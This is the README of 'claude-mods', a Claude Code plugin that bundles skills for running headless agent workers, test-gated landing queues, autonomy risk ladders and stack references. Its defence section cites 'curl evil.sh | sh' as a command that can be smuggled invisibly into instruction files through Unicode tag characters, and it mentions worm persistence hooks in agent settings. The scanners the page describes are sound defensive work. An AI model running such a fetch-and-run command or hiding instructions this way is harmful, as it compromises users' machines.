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0xDarkMatter a339d71272 fix(skills): push-gate no longer dies of SIGPIPE on >20 pending commits 1 gün önce
.claude-plugin 772cde610e docs: Stage v3.8.0 - Recent Updates, CHANGELOG, and a docs sweep 2 hafta önce
.github 98c92a8712 feat(skills): Complete the figma-ops pipeline — emit, verify, freshness 1 hafta önce
.impeccable a919e13b83 feat(skills): Add tethered header + sort/size controls to fleetflow monitor 1 ay önce
agents 38f227fd25 feat(rules): Commit global rules back into repo 2 ay önce
commands eeb36d0064 fix(docs): Repair dead skill references and stale counts 2 ay önce
docs d9477555ae docs: Rewrite README thesis around executable doctrine 1 gün önce
hooks d1db7de91b fix(install): wire security + peer-guard hooks into settings.json on script installs 2 ay önce
output-styles 2ebd693990 fix(output-styles): Match frontmatter name to filename in all 13 styles 1 ay önce
rules caf325f6ee chore: Scrub machine-local paths and identifiers, add an agnostic gate 3 hafta önce
scripts 00928c352e fix(scripts): install.ps1 installed nothing from a bracketed repo path 2 hafta önce
skills a339d71272 fix(skills): push-gate no longer dies of SIGPIPE on >20 pending commits 1 gün önce
templates b86eec63ee feat(templates): Add settings.json with context-aware statusline 1 ay önce
tests 98c92a8712 feat(skills): Complete the figma-ops pipeline — emit, verify, freshness 1 hafta önce
tools 0d95dd23ea feat(skills): Add screenshot and skill-creator, adopt Anthropic schema 7 ay önce
.gitattributes b225cc0e47 fix: Pin line endings to LF via .gitattributes 1 ay önce
.gitignore c8beee2fa4 chore: Gitignore session-local .claude/ and dev/ wholesale 1 ay önce
.gitleaksignore fd79765d6c chore: Allowlist recall-probe planted fact in .gitleaksignore 1 gün önce
.gitmodules a180730303 refactor: Remove submodules, consolidate commands as canonical source 9 ay önce
AGENTS.md 5a907dc7b5 feat(skills): Add figma-ops router and composition workflows 1 hafta önce
CHANGELOG.md 6582284bd5 feat(skills): adr-touching accepts batched queries with per-query verdicts 1 hafta önce
CONTRIBUTING.md 3cd17b2378 docs: add CONTRIBUTING with translations policy 1 ay önce
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README.md

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Claude Code

Doctrine you can execute. Knowledge that knows when it's stale. Agents that land their own work.

claude-mods is a Claude Code plugin built on one premise: a skill that only tells the model something is a suggestion, and a skill that ships a gate is a guarantee. Its 108 skills carry the expert depth you'd expect - React, Rust, PostgreSQL, Cloudflare Workers, Next.js - but the ones that earn the install are the ones that run agents: a headless-worker spawner, a test-gated landing queue for parallel branches, a graduated-autonomy ladder for scheduled loops, and a security layer pointed at the agent itself. 58 skills ship executable tooling, 52 ship their own test suites, and 21 carry staleness verifiers that trip when the world moves under them.

Built on the Agent Skills specification (an open standard backed by Anthropic, Vercel, Google, Microsoft, and 40+ agent platforms) and Anthropic's patterns for long-running agents, it installs as a standard plugin and toggles off as easily as it toggles on.

3 agents. 108 skills. 13 styles. 13 hooks. 14 rules. One install.

Recent Updates

v3.8.0 (August 2026)

  • a11y-ops skill - accessibility as a dated legal requirement, not a quality preference. Carries the standards-and-law map (EAA supervision live since June, ADA Title II deadlines extended to April 2027/2028 - most published advice still quotes the old dates), a four-pass audit workflow built around the fact that automated tooling finds only ~30-40% of WCAG failures, and scan-a11y.py as a static pre-flight with an exit-10 CI signal.
  • 📊 evals-ops skill - the harness discipline everything else in agent engineering depends on: you cannot tune a prompt, retriever or memory layer without a measurable suite. Separates outcome / step / trajectory scoring, treats the golden set as four frozen buckets, counters the documented LLM-as-a-judge biases, and ships judge-calibration.py, goldenset-audit.py and eval-baseline.py - the last of which computes the noise floor a gate's threshold should sit below.
  • nextjs-ops skill - the framework underneath payloadcms-ops finally has a skill. The server/client boundary and what crosses it, both caching models (use cache / cacheComponents alongside unstable_cache and revalidateTag), Server Actions as public endpoints, the middleware.tsproxy.ts move, and self-hosting beyond Vercel. Audit rules gate on the project's detected major, not the newest one.
  • 🎨 icon-ops skill - sourcing, vetting and shipping SVG icons and brand marks. The licence traps that actually bite (a mark is a trademark whatever the file licence says; aggregators hide which set's terms apply), currentColor theming, the delivery matrix, and the two accessibility cases. normalize-icon.py refuses to flatten a multi-colour mark by default, namespaces internal ids, and strips active content before you inline someone else's SVG.
  • 🧠 Context engineering in claude-api-ops - the discipline that replaced prompt engineering: the window as a budget across three tiers (in-context / on-disk / retrieved). The counter-intuitive part is measured - under modern prompt caching, keeping full history beats summarisation on cost, latency and recall at once, so compaction is a response to a named constraint rather than a reflex.
  • ⏱️ loop-ops meets native scheduling - "native primitives schedule; loop-ops governs", the same repositioning fleet-ops took against agent teams. CronCreate, the scheduled-tasks surface and /loop's dynamic mode now own the plumbing the skill used to teach you to build. What it keeps is the part none of them provide: the L1→L3 risk ladder, the budget spine, the kill switch and the escalation gate.
  • 🪟 windows-ops gains steady-state triage - every trigger was boot- or crash-scoped, so a workstation pinned by already-running processes never routed here. process-triage.ps1 measures rate, not lineage - the expensive case is a hung process whose parent is perfectly healthy, invisible to every orphan scan. It resolves the calling session's own ancestry and marks it protected, because the failure it prevents is an agent killing the chain it runs in.

v3.7.0 (August 2026)

  • 🆕 hono-ops skill - Hono v4 on Cloudflare Workers, distilled from a production multi-tenant Worker: composition and typed bindings, zValidator request validation, RPC, streaming, onError discipline, and testing under vitest-pool-workers - the companion piece to cloudflare-ops' runtime layer.
  • 🎨 rembg-ops skill - transparent-PNG cutouts for flat illustration, sticker, and avatar art. A deterministic fallback ladder carries on where rembg's ML models fail on non-photographic input, so a batch job degrades predictably instead of silently mangling half the set.
  • 🔍 repo-doctor skill + agentic-quality rule - the cold-agent doctrine, enforced: a read-only auditor scores any repo on entry docs, guard comments, structure, gates, and doc-pairing (--json + --strict for CI), paired with the rule that makes the doctrine binding on every task.
  • 🌳 fleet-ops landing wave - the landing queue got session-aware: a live-owner gate (with a self-ownership exemption), a MAIN role for the integration checkout, fleet prune for stale worktree housekeeping, and a gate that now refuses to land when its test command is unarmed rather than passing vacuously.
  • 📚 Battle-tested reference wave - production-mined depth for four skills: sqlite-ops D1 patterns (migrations that time out but apply, .batch() semantics, Sessions-API read replication), cloudflare-ops Workers runtime gotchas, typescript-ops TS 7 native-compiler adoption, and auth-ops Cloudflare Access + Better Auth.
  • 🔄 fleetflow extracted - the heterogeneous-fleet skill (GLM / Codex / Grok / Anthropic workers) outgrew a skill directory and moved to its own repo, staying mounted as a skill via junction. An app with a dashboard and roadmap is a product, not a skill resource.

v3.6.0 (July 2026)

  • 🎨 svg-brand-tint-ops skill — a zero-dependency in-browser SVG studio. Recolour any SVG to a brand palette via a token-driven tri-tone (feColorMatrix desaturate → feComponentTransfer grey-ramp remap → theme-aware CSS-filter bake), plus a from-scratch raster vectoriser (PNG → SVG) built on a Potrace-paper geometry stage — tolerance-tube straightness, penalty-DP optimal polygon, sub-pixel vertex adjustment, and alphamax corner analysis, reimplemented from the freely published Selinger 2003 paper (no GPL code) — over soft-field marching-squares with alpha-aware palette handling (matte de-blending, anti-alias fringe cull, blend-veto) that keeps flat-colour brand logos crisp. B&W / posterised / colour trace modes, a photographic filter stack, curated Google Fonts on SVG <text>, element hover-inspect, before/after split, and palette-from-image. Ships a ~90-line dependency-free static server (scripts/server.mjs), a headless trace CLI (scripts/trace.mjs) sharing one canonical engine with the browser tool (assets/trace-core.mjs, no drift), a colour-math + trace + theme-bake reference, and a 22-assertion offline test suite.

v3.5.0 (July 2026)

  • 📐 isometric-ops skill — isometric illustrative assets end to end: creation, refinement, composition, and export for websites and games. 14 references anchor the exact projection math (true isometric 30° vs 2:1 dimetric 26.565° — the mislabel that breaks tilesets — with every constant derived and machine-checked by a §7 staleness verifier), coordinate transforms + y-sort depth doctrine, the tile-spec discipline, SVG/CSS/three.js generation, Aseprite pixel-art workflow, dual Blender ortho rigs (60° dimetric vs 54.736° true iso), engine tilemaps (Godot 4 / Unity / Phaser 3), and the full AI pipeline — Recraft/Midjourney/Flux+LoRA generation under ControlNet depth/MLSD structure control, upscale + vectorization ladders, and licence discipline that checks AI-training clauses. Scripts: iso-math.py (constants/transforms/grid generator), tile-validate.py (AI-tile QA: halo, bleed, anchor, palette), sheet-pack.py (spritesheet + atlas). Headlined by iso-studio — a zero-dependency browser scene composer with snap-to-grid staging, footprint-aware y-sort, docked control palettes, PNG/SVG/scene-JSON export, and a blockout mode that exports depth + lineart maps straight into ControlNet conditioning — built alongside the skill and extracted to its own repo, iso-studio (not yet published) (an app with a roadmap and asset library is a product, not a skill resource).

v3.4.0 (June 2026)

  • 📊 r-ops skill — the set's first data-science skill: a tidyverse-first, current-best-practice reference for modern R (2024+). SKILL.md routes an import → tidy → transform → visualize → model → communicate workflow across 9 reference files (~115 KB) — tidyverse-core, import-io, strings-dates-factors, visualization, iteration-functional, modeling-stats, data-table, time-series, workflow-tooling. Leads with current idioms (native |>, dplyr .by=, the \(x) lambda, across(), list_rbind, slice_*, tidymodels, the tidyverts tsibble/fable stack, Quarto + renv) and names base R / data.table where they win. Ships a 43-assertion offline self-test plus a check-r-facts.py §7 staleness verifier (--offline asserts every catalogued CRAN package is still named in the prose and the currency note carries a year; --live resolves each package on CRAN) so the modern-stack claim is machine-enforced, not asserted. Salvaged and freshened from the stale stacked PR #6 (which also duplicated the already-shipped supply-chain-defense), re-landed clean off current main.

v3.3.0 (June 2026)

  • 🔁 loop-ops skill — the outer-loop design discipline: how to design and safely run scheduled, autonomous agent loops — the orchestration layer above iterate (which drives a single inner run). Its backbone is a graduated-autonomy risk ladder (L1 report → L2 assisted → L3 unattended) mapped onto Claude Code's actual permission model, so a loop only ever gets the authority it has earned — anchored by the rule that a scheduler invokes claude -p, never a session spawning ungated children. Ships a 13-pattern morphologytrigger (cadence · event-driven Channels · /goal run-to-completion) × posture (L1–L3) × locus (connector→cloud routine · local→Desktop task) — plus a STATE/run-log/budget spine, multi-loop coordination, and a kill switch. Three tools do the work: loop-scaffold seeds a near-ready loop, loop-check refuses a green light on an unbounded scope / missing gate / undefined escalation, and loop-estimate gives caching-aware cost/month before you commit to a cadence. Composes fleet-worker (spawn) and fleet-ops (land).

v3.2.0 (June 2026)

  • 🤖 fleet-worker skill — delegate tool-using, multi-step tasks to cheaper headless Claude Code workers — a cheaper Anthropic model (Sonnet/Haiku) or any Anthropic-compatible endpoint (e.g. GLM 5.2 via z.ai) — while an Opus orchestrator fans them out in parallel and gates their results before anything lands. Each worker is a real claude -p with Claude Code's full tool harness (Read/Write/Edit/Bash/Glob/Grep/Task) and any skills you provision into it, but a cheaper brain — isolated in its own git worktree + CLAUDE_CONFIG_DIR. Ships bash + PowerShell launchers, a result-gating collector, an endpoint health verifier, and the fleet-ops handoff recipes. fleet-worker is the spawn layer; fleet-ops is the test-gated landing layer it hands winning branches to. Provider-agnostic.

View full changelog →

Why claude-mods?

Every skill collection promises "expert knowledge on demand". Most deliver a markdown file. The model reads it, and whether it does anything with it is a matter of hope.

claude-mods starts from a different premise: doctrine you can execute. The skills that matter here don't just describe a discipline - they ship the script that enforces it, the test that proves it, and the companion rule that makes it binding on every task. Four pillars carry the weight.

1. It operates agents, not just frameworks

The catalogue's centre of gravity is a layer most toolkits don't have at all - skills for running agents, composed into a lifecycle:

Layer Skill What it actually does
Spawn fleet-worker A cheap headless claude -p - GLM via z.ai, or Sonnet/Haiku - with Claude Code's full tool harness, isolated in its own git worktree and CLAUDE_CONFIG_DIR so it can't reach your credentials
Land fleet-ops A sequential, test-gated landing queue for parallel branches. It refuses to land when its test command is unarmed rather than passing vacuously, and detects a live peer writer before it touches a checkout
Govern loop-ops The L1 → L3 risk ladder for scheduled and autonomous loops. loop-check refuses a green light on an unbounded scope, a missing gate or an undefined escalation - a loop with no kill switch doesn't get scheduled
Improve iterate Karpathy-style single-metric autoresearch: modify, measure, keep or discard, with git as memory and bisect-on-regression

Native primitives spawn; claude-mods lands. That positioning - against agent teams, background agents and CronCreate alike - is deliberate. The plumbing belongs to the platform; the discipline is what a toolkit adds.

2. It defends the agent, not just the code

An agent that installs packages, reads web pages and edits its own settings has an attack surface no linter covers. Three skills and their companion rules close it:

  • supply-chain-defense - behavioural-first, because CVE tools report yesterday's known-bad and the 2026 worm family publishes and self-propagates inside the window before an advisory exists. A 7-day cooldown gate, Socket.dev scoring, and a self-integrity scan for persistence hooks written into Claude Code's own settings.
  • prompt-injection-defense - hidden-Unicode hygiene for instruction files. A U+E0000 tag-block run can encode curl evil.sh | sh and render as nothing; the scanner reads bytes, not glyphs, and the pre-commit hook refuses to let one in.
  • push-gate, worktree-boundaries and release-review - the blast-radius rules. Secrets never leave, other sessions' worktrees are never touched, releases are never auto-published.

3. Its knowledge knows when it's stale

A skill that says "modern R" or "Hono v4" is making a claim that will be false within a year. claude-mods makes those claims machine-checked: 21 skills ship a check-*-facts verifier with an --offline mode (does the prose still match the catalogue?) and a --live mode (does the catalogue still match the world?). CI runs the first on every push; a scheduled workflow runs the second every Monday. When TypeScript ships a native compiler or ADA deadlines move, a tripwire fires instead of a reference quietly rotting.

The same instinct runs through the tooling: 58 skills ship real scripts, 52 ship their own tests/run.sh, 44 gates use exit-10 as a machine-readable findings signal, and 5.6 MB of references load progressively - ~100 tokens per skill until one is relevant.

4. The stacks are fuel, not filler

A model's training freezes on a date. Frameworks don't. So the agent writes middleware.ts after Next.js moved to proxy.ts, reaches for unstable_cache when use cache has shipped, and assumes tsc semantics from before the native compiler - fluently, confidently, and at scale. A human developer hesitates and checks. An agent doesn't. That's the specific way stale knowledge is worse in agentic work than in ordinary work, and it's the problem the stack skills exist to solve.

Each one is a currency layer over the model's priors - React, Vue, Next.js, TypeScript, Go, Rust, Laravel, Payload, Hono, Cloudflare Workers, PostgreSQL, SQLite/D1, Terraform and the rest - and they're built to be trusted by an agent, not read by a human:

  • Production-mined, not tutorial-shaped. 200 KB on SQLite/D1 carries the migration that times out but applies and the .batch() semantics that bite; 152 KB on Postgres; 104 KB on TypeScript's TS 7 adoption path; hono-ops distilled from a live multi-tenant Worker. The gotchas the docs don't mention are the ones an agent walks straight into.
  • Version-aware, not newest-wins. nextjs-ops' audit reads the project's installed major and gates its rules on that - it won't demand a v16 idiom of a v14 codebase. A skill that only knows the latest is a liability on any repo older than a month.
  • Pinned and verified. Eleven stack skills carry an assets/*-facts.json with an as_of date, and pillar 3's verifiers check it against the world. The claim "modern TypeScript" is machine-enforced, not asserted.
  • Nearly free to carry. ~100 tokens per skill until one triggers, then references load on demand. 108 skills cost roughly 10k tokens of descriptions; the 5.6 MB behind them costs nothing until you're actually in that stack.

And the payoff loops back to pillar 1. A fleet-worker's isolated config dir starts clean - you provision skills into it. A GLM worker with hono-ops loaded writes better Hono than GLM alone, which is why the skill's own docs call provisioning "often the cheapest way to lift a weak model's output on a specialized task." The stack skills are what turn "a cheaper brain" from a cost-cut into a real option: the discipline layers decide what an agent may do, and the stack layers decide whether what it does is any good.

Around all of that: /save + /sync session continuity that's git-trackable across machines, a modern-CLI rule set (rg, fd, uv, sd - 10-100x faster and far cleaner in a context window), and a web-fetch fallback chain that doesn't give up at the first 403.

The ecosystem

Some things outgrew a skill directory. An app with a dashboard and a roadmap is a product, not a skill resource - so they became repos, and stay wired in:

Project What it is How it fits
fleetflow Heterogeneous cross-provider fleets - GLM, Codex, Grok, Pi and Anthropic models as OS-process workers, with adversarial cross-model verification, journalled resume and a machine-wide dashboard The layer above fleet-worker when you want different models per work class. Still mounts as a skill.
conclave A universal remote for LLMs - one syntax for any model, or all of them in parallel with a judge synthesising the verdict The second-opinion engine. When one model's answer isn't enough, convene the council.
flarecrawl Cloudflare Browser Rendering as a Firecrawl alternative, cost-efficient at scale A cheaper engine for the anti-bot tier of the web-fetch hierarchy - Browser Rendering pricing instead of a per-page SaaS bill.

Structure

claude-mods/
├── .claude-plugin/     # Plugin metadata
├── agents/             # Expert subagents (3)
├── commands/           # Slash commands (3)
├── skills/             # Custom skills (108)
├── output-styles/      # Response personalities
├── hooks/              # Hook examples & docs
├── rules/              # Claude Code rules
├── tools/              # Modern CLI toolkit installers
├── scripts/            # Plugin install scripts
├── tests/              # Test suites + justfile
├── docs/               # Project docs
└── templates/          # Extension templates

Installation

Plugin Install (Recommended)

# Step 1: Add the marketplace
/plugin marketplace add 0xDarkMatter/claude-mods

# Step 2: Install the plugin
/plugin install claude-mods@0xDarkMatter-claude-mods

This installs globally (available in all projects). Toggle on/off with /plugin menu.

Script Install

git clone https://github.com/0xDarkMatter/claude-mods.git
cd claude-mods
bash scripts/install.sh

Works on Linux, macOS, and Windows (Git Bash). A PowerShell alternative is also available at scripts/install.ps1.

The install scripts:

  • Copy commands, skills, agents, rules, output styles to ~/.claude/
  • Clean up deprecated items (e.g., old /conclave command)
  • Remove renamed skills (e.g., -patterns -> -ops)
  • Handle command→skill migrations (won't create duplicates)
  • Preserve any extra skills installed separately (e.g., project-specific skills)

scripts/install.ps1 additionally refuses to run from a tree that is behind main on paths it installs, since that would silently revert work another branch already landed (-Force overrides). .\scripts\install.ps1 -Doctor reports, read-only, what differs between the repo and ~/.claude — stale, missing, and orphaned files — and exits non-zero when it finds any. Both comparisons ignore line endings.

CLI Tools (Optional)

Install modern CLI tools (fd, rg, bat, etc.) for better performance:

# Windows (Admin PowerShell)
.\tools\install-windows.ps1

# Linux/macOS
./tools/install-unix.sh

Skill Architecture

All skills comply with the Agent Skills specification and follow a consistent structure:

skill-name/
├── SKILL.md              # Core workflow (< 500 lines)
├── scripts/              # Executable code (optional)
├── references/           # Documentation loaded as needed (optional)
└── assets/               # Output templates/files (optional)

Progressive Loading:

  1. Metadata (name + description) - Always in context (~100 words)
  2. SKILL.md body - Loaded when skill triggers (<5k words)
  3. Bundled resources - Loaded only when Claude needs them

Skills carry the full layout by convention - a directory may sit empty until it's needed, so bundled resources always have an obvious home. In practice 93 skills ship references and 58 ship scripts.

See skill-creator for the complete guide.

What's Included

Commands

Command Description
sync Session bootstrap - restore tasks, plan, git/PR context. Suggests --resume and --from-pr.
save Persist tasks, plan, git/PR context, and session summary to native memory.

Skills

Language & Framework Skills

Skill Description
go-ops Go concurrency, error handling, testing, interfaces, generics, project structure
rust-ops Rust ownership, async/tokio, error handling, traits, serde, ecosystem
typescript-ops TypeScript type system, generics, utility types, strict mode, Zod
javascript-ops JavaScript/Node.js async patterns, modules, ES2024+, runtime internals
r-ops Modern R - tidyverse-first data analysis, dplyr/tidyr wrangling, ggplot2, stats/modeling (broom, tidymodels), data.table, time series, renv/Quarto workflow
react-ops React hooks, Server Components, state management, performance, testing
nextjs-ops Next.js 16 App Router operations - the server/client module-graph boundary, both caching models (previous-model layers vs Cache Components use cache/cacheLife/cacheTag), Server Actions as public endpoints, streaming + Suspense cost, proxy.ts and Edge-runtime gaps, self-hosting/multi-instance/Cloudflare deployment, 14->15->16 upgrade deltas, fonts/scripts/bundle optimization, testing (async Server Components are E2E-only), and a landmines section; 16-rule version-gated app-router auditor + staleness verifier
rembg-ops Transparent-PNG cutouts / background removal for flat illustration, sticker, cartoon and avatar art - rembg (isnet-anime) plus a deterministic fallback ladder (flat-bg colour-key, alpha-binarise, colour-aware offset-shadow strip) for the pale/translucent/baked-shadow cases ML drops; auto method + contact-sheet triage
vue-ops Vue 3 Composition API, Pinia, Vue Router, Nuxt 3
astro-ops Astro islands, content collections, rendering strategies, deployment
laravel-ops Laravel Eloquent, architecture, authentication, testing with Pest
craftcms-ops Craft CMS 5 - entries/sections/fields, Matrix-as-entries, Twig, element queries, GraphQL, plugins
payloadcms-ops Payload CMS 3 (Next.js-native) - collections/globals, Local API, access control, hooks, fields
hono-ops Hono v4 on Cloudflare Workers - app composition + sub-app mounting, middleware ordering/auth boundaries, typed errors + onError, zValidator vs hand-rolled validation, SPA co-serving, hc RPC vs typed clients, vitest-pool-workers testing, streaming/SSE/WebSockets; route-inventory + middleware-order linter, staleness verifier
cli-ops Production CLI tool patterns - agentic workflows, stream separation, exit codes
bash-ops Defensive Bash - strict mode, traps, safe argument parsing, semantic exit codes, shellcheck, CI scripts
cypress-ops Cypress e2e + component testing - data-test selectors, cy.intercept, cy.session, Test Replay, flake diagnosis
tailwind-ops Tailwind CSS patterns, v4 migration, components, configuration
a11y-ops Web accessibility end to end - WCAG 2.2 conformance and the legal map (EAA supervision from 2026, ADA Title II deadlines extended to 2027/2028), the four audit passes and what each can actually detect (automation finds ~30-40%), the twelve recurring failures with class-level fixes, and an honest accessibility-statement template; scan-a11y.py static pre-flight over HTML/JSX/Vue/Svelte/Astro with exit-10 CI signal
color-ops Color spaces, WCAG/APCA contrast checker, palette + harmony generators, CSS color functions, design tokens, color converter
icon-ops SVG icons for web UI end-to-end - set selection (grid/family/stroke-width lock-in), licence and trademark traps (brand marks are not cleared by a CC0 file licence; aggregators hide the originating set), currentColor theming, sprite vs inline vs component delivery, the external-<use> CORS trap, and the two accessibility cases; normalize-icon.py strips vendor cruft and rebinds paints (--check as a CI gate, --symbol for sprite assembly)
figma-ops Router + composition pipeline for the official Figma MCP - which of the ~65 Figma skills/tools to load for a job, multi-account routing (one MCP server per Figma org), and a scripted capture→curate→compose flow for moodboards and reference boards: stage-assets (slugs + true dimensions, vetted:false by construction) → plan-layout (grid / plus / loose-plus, seeded jitter, overlap budget) → emit-placement (generates the exact use_figma scripts; refuses unvetted images) → verify-board (read-back vs plan: 400×300 frames, drift, z-order, budget) → screenshot; verify-freshness trips when the router names a plugin skill that no longer exists
genart-ops Generative art - three.js scenes, p5.js sketches, SVG generation, GLSL shaders, procedural algorithms, colour theory
threejs-ops App/game-scale three.js - import maps + ES-module reality, GLTF pipeline (DRACO/KTX2/meshopt, gltf-transform), AnimationMixer crossfades, fixed-timestep loops, rapier/cannon-es physics, R3F + drei, InstancedMesh/LOD/disposal discipline, boids/steering actors; npm staleness verifier
mapbox-ops Advanced Mapbox GL JS (web v3) - custom markers, thematic dataviz, 3D/terrain, cinematic camera, style composition, expressions, performance, gotchas; headless Playwright map verifier
isometric-ops Isometric asset creation end-to-end - exact projection math (true iso vs 2:1 dimetric), SVG/CSS/three.js generation, pixel-art + Blender pre-render pipelines, engine tilemaps, AI generation with ControlNet structure control, tile QA + atlas packing scripts; routes to the companion iso-studio (not yet published) scene composer (snap-to-grid, y-sort, blockout-to-ControlNet export)
svg-brand-tint-ops Zero-dep in-browser SVG studio - token-driven tri-tone brand recolour (feColorMatrix/feComponentTransfer + theme-aware CSS-filter bake) and a from-scratch raster vectoriser (PNG->SVG) with a Potrace-paper geometry stage (straightness/optimal-polygon/vertex-adjust/alphamax, no GPL code) over soft-field marching squares with alpha-aware palette handling; curated Google Fonts, filter stack, dependency-free server + headless trace CLI sharing one engine
unfold-admin Django Unfold admin theme - ModelAdmin, dashboards, filters, widgets, theming

Python Skills

Skill Description
python-async-ops asyncio concurrency, aiohttp, error handling, sync/async mixing, production patterns
python-cli-ops Click/Typer/argparse CLIs, stream handling, packaging
python-database-ops SQLAlchemy async, connection pooling, transactions
python-fastapi-ops FastAPI dependency injection, background tasks, Pydantic
python-observability-ops Structured logging, tracing, metrics for Python services
python-pytest-ops pytest fixtures, parametrization, property-based testing
python-typing-ops Advanced generics, type narrowing, runtime validation

Data & API Skills

Skill Description
api-design-ops REST, gRPC, GraphQL design patterns, versioning, auth, rate limiting
rest-ops HTTP methods, status codes, REST quick reference
sql-ops CTEs, window functions, JOIN patterns, indexing
postgres-ops PostgreSQL operations, optimization, schema design, replication, monitoring
sqlite-ops Engine-agnostic SQLite: query plans, covering indexes, WAL/locking, schema, FTS5/JSON, hosts (Python, node:sqlite, better-sqlite3, Bun, D1, libSQL)
claude-api-ops Build on Claude - Messages API, tool use, prompt caching, structured outputs, batches, Agent SDK
mcp-ops MCP server development, FastMCP, transports, tool design, testing

Infrastructure Skills

Skill Description
docker-ops Dockerfile best practices, multi-stage builds, Compose, optimization
ci-cd-ops GitHub Actions, release automation, testing pipelines
container-orchestration Kubernetes, Helm, pod patterns
nginx-ops Nginx reverse proxy, SSL/TLS, load balancing, performance tuning
cloudflare-ops Cloudflare Workers/Pages - wrangler (deploy, jsonc config), bindings (KV/D1/R2/DO/Queues/AI), edge deploy + CI
auth-ops JWT, OAuth2, sessions, RBAC/ABAC, passkeys, MFA
monitoring-ops Prometheus, Grafana, OpenTelemetry, structured logging, alerting
debug-ops Systematic debugging, language-specific debuggers, common scenarios
perf-ops Performance profiling - CPU, memory, bundle analysis, load testing, flamegraphs
terraform-ops Terraform/OpenTofu IaC - state management, module patterns, OIDC CI/CD, drift detection, secrets
supply-chain-defense Behavioural-first dependency security - Socket.dev (free CLI + depscore MCP), exposure-check (IOC match across npm/pnpm/yarn/bun/PyPI/Composer/Cargo/Go/RubyGems + extensions), integrity-audit (worm persistence), scan-extensions, install/manifest hooks
prompt-injection-defense Instruction-integrity defense - hidden Unicode scanning (bidi/Trojan Source, tag-block smuggling, zero-width), content sanitization, trust-boundary doctrine
security-ops Reactive security auditing - 3 parallel agents (dependency CVEs, SAST patterns, auth/config review) consolidated into OWASP-mapped report
portless-ops Local-dev HTTPS proxy operations for Vercel Labs' portless - TLD selection, supervisor pairing, Windows gotchas
process-compose-ops Process Compose supervisor operations - YAML schema, readiness probes, dependency patterns, boot persistence
pypi-ops PyPI publishing - OIDC Trusted Publishing + PEP 740 attestations, the pending-publisher first-publish fix (invalid-publisher), preflight/diagnose/pin-verifier scripts, hardened publish.yml, uv & twine local paths

Workstation & Network Diagnostics

Skill Description
windows-ops Windows workstation diagnostics - health audit, crash triage, drive mapping, dying-drive recovery
mac-ops macOS workstation diagnostics - TCC privacy permissions, wake reasons, Spotlight, APFS storage pressure
net-ops Cross-platform network troubleshooting - layered ladder from link to app, IPv6 classifier, DoH detection, MTU/PMTU
asus-router-ops Asus / Asuswrt-Merlin routers - hardening, WireGuard/OpenVPN, segmentation, DNS privacy, JFFS scripting

CLI Tool Skills

Skill Description
file-search Find files with fd, search code with rg, select with fzf
find-replace Modern find-and-replace with sd
code-stats Analyze codebase with tokei and difft
data-processing Process JSON with jq, YAML/TOML with yq
markitdown Convert PDF, Word, Excel, PowerPoint, images to markdown
ffmpeg-ops ffmpeg/ffprobe operations - probe-first cookbook (transcode, cut/concat, GIF, subtitles, HLS), --doctor triage with fix commands, EDL-driven editing, STT/Whisper prep, VMAF quality gates, chapter authoring, target-size compression, scrub-preview sprites, hw-encoder verification, and a full grading wing: ~40-look recipe catalog, 32 parametric LUTs (mono/duo/tritone tone maps), Hald-CLUT extraction, scope-matching doctrine. 11 protocol scripts, 19 references, 107-assertion suite
ytdlp-ops yt-dlp acquisition layer feeding ffmpeg-ops - format selection that avoids transcodes (-S sort), clip-at-download sections, STT audio extraction, archive-driven channel syncs, cookies/auth, SponsorBlock, failure triage (nsig = outdated). Staleness verifier wired into CI + freshness
structural-search Search code by AST structure with ast-grep
log-ops Log analysis, JSONL processing, cross-log correlation, timeline reconstruction
leveldb-ops Read Chromium/Electron LevelDB stores (Local Storage, IndexedDB) - app-state forensics

Workflow Skills

Skill Description
tool-discovery Recommend agents and skills for any task
git-ops Git orchestrator - commits, PRs, releases, changelog. Routes to background Sonnet agent.
github-ops GitHub remote ops - repo create/metadata/topics, releases + README 'Recent Updates' enforcement, issue/PR management (preview-before-send), and read-only security-posture audit + scored repo-scorecard (single repo or whole --org)
push-gate Pre-push safety gate - gitleaks + regex secret scan, forbidden-file check, no bypass
parallel-ops Router for parallel/recurring agent work - decision table over fleet-ops, fleet-worker, fleetflow (own repo), loop-ops, iterate, spawn
fleet-ops Manage a fleet of concurrent Claude sessions - landing queue with test gate, pre-land scrub (experimental)
fleet-worker Delegate tasks to cheap headless GLM (or any Anthropic-compatible) workers - per-task git worktree + isolated config, result gating, fan-out that hands winning branches to fleet-ops landing
summon Claude Desktop session toolbox - cross-account transfer, recovery picker, cwd rebind, store doctor
doc-scanner Scan and synthesize project documentation
repo-doctor Audit any repo against the agentic-quality doctrine - entry docs, comment contracts, structure, enforcement gates, doc-pairing; scorer with --json + CI --strict, plus comment-doctrine / entry-docs / monorepo-structure references
adr-ops Architecture Decision Records - when-to-write, canonical format, supersession lifecycle, scaffold/index/lint tools
okf-ops Open Knowledge Format - assess a doc repo's frontmatter-readiness, validate a bundle for conformance, decide per-repo adoption
project-planner Track stale plans, suggest session commands
python-env Fast Python environment management with uv
task-runner Run project commands with just
screenshot Find and display recent screenshots from common screenshot directories
pigeon Inter-session pmail - send/receive messages between Claude Code sessions across projects. SQLite-backed (~/.claude/pmail.db), git-rooted project identity, threading, attachments, broadcast, search. Hook-driven notifications. Per-project disable.

Development Skills

Skill Description
auto-skill Automatically detect skill-worthy workflows and create reusable skills. Stop hook suggests after complex sessions (8+ mutating ops across 4+ tool types). Agent Skills spec compliant with quality gates and duplicate detection. Toggle with /auto-skill on/off.
skill-creator Guide for creating effective skills with specialized knowledge, workflows, and tool integrations.
explain Deep explanation of complex code, files, or concepts. Routes to expert agents.
spawn Generate PhD-level expert agent prompts for Claude Code.
atomise Atom of Thoughts reasoning - decompose problems into atomic units.
setperms Set tool permissions and CLI preferences in .claude/ directory.
introspect Analyze previous session logs without consuming current context.
review Code review with semantic diffs, expert routing, and auto-TaskCreate.
testgen Generate tests with expert routing and framework detection.
techdebt Technical debt detection using parallel subagents.
migrate-ops Framework/language migration patterns, version upgrades, codemods
refactor-ops Safe refactoring patterns, code smell detection, test-driven methodology
scaffold Project scaffolding - generate boilerplate for APIs, web apps, CLIs, monorepos
iterate Autonomous improvement loop - modify, measure, keep or discard, repeat. Inspired by Karpathy's autoresearch.
loop-ops Outer-loop design discipline - the orchestration layer above iterate: risk-tier ladder (L1 report → L2 assisted → L3 unattended) mapped onto Claude Code's permission model, STATE/run-log/budget spine, a 13-pattern morphology (cadence/event/goal × L1–L3 × cloud/local), multi-loop coordination, kill switch. Composes iterate/fleet-worker/fleet-ops/native-loop. loop-scaffold/loop-check/loop-estimate scripts.
testing-ops Test strategy patterns - mocking, CI testing, test data design
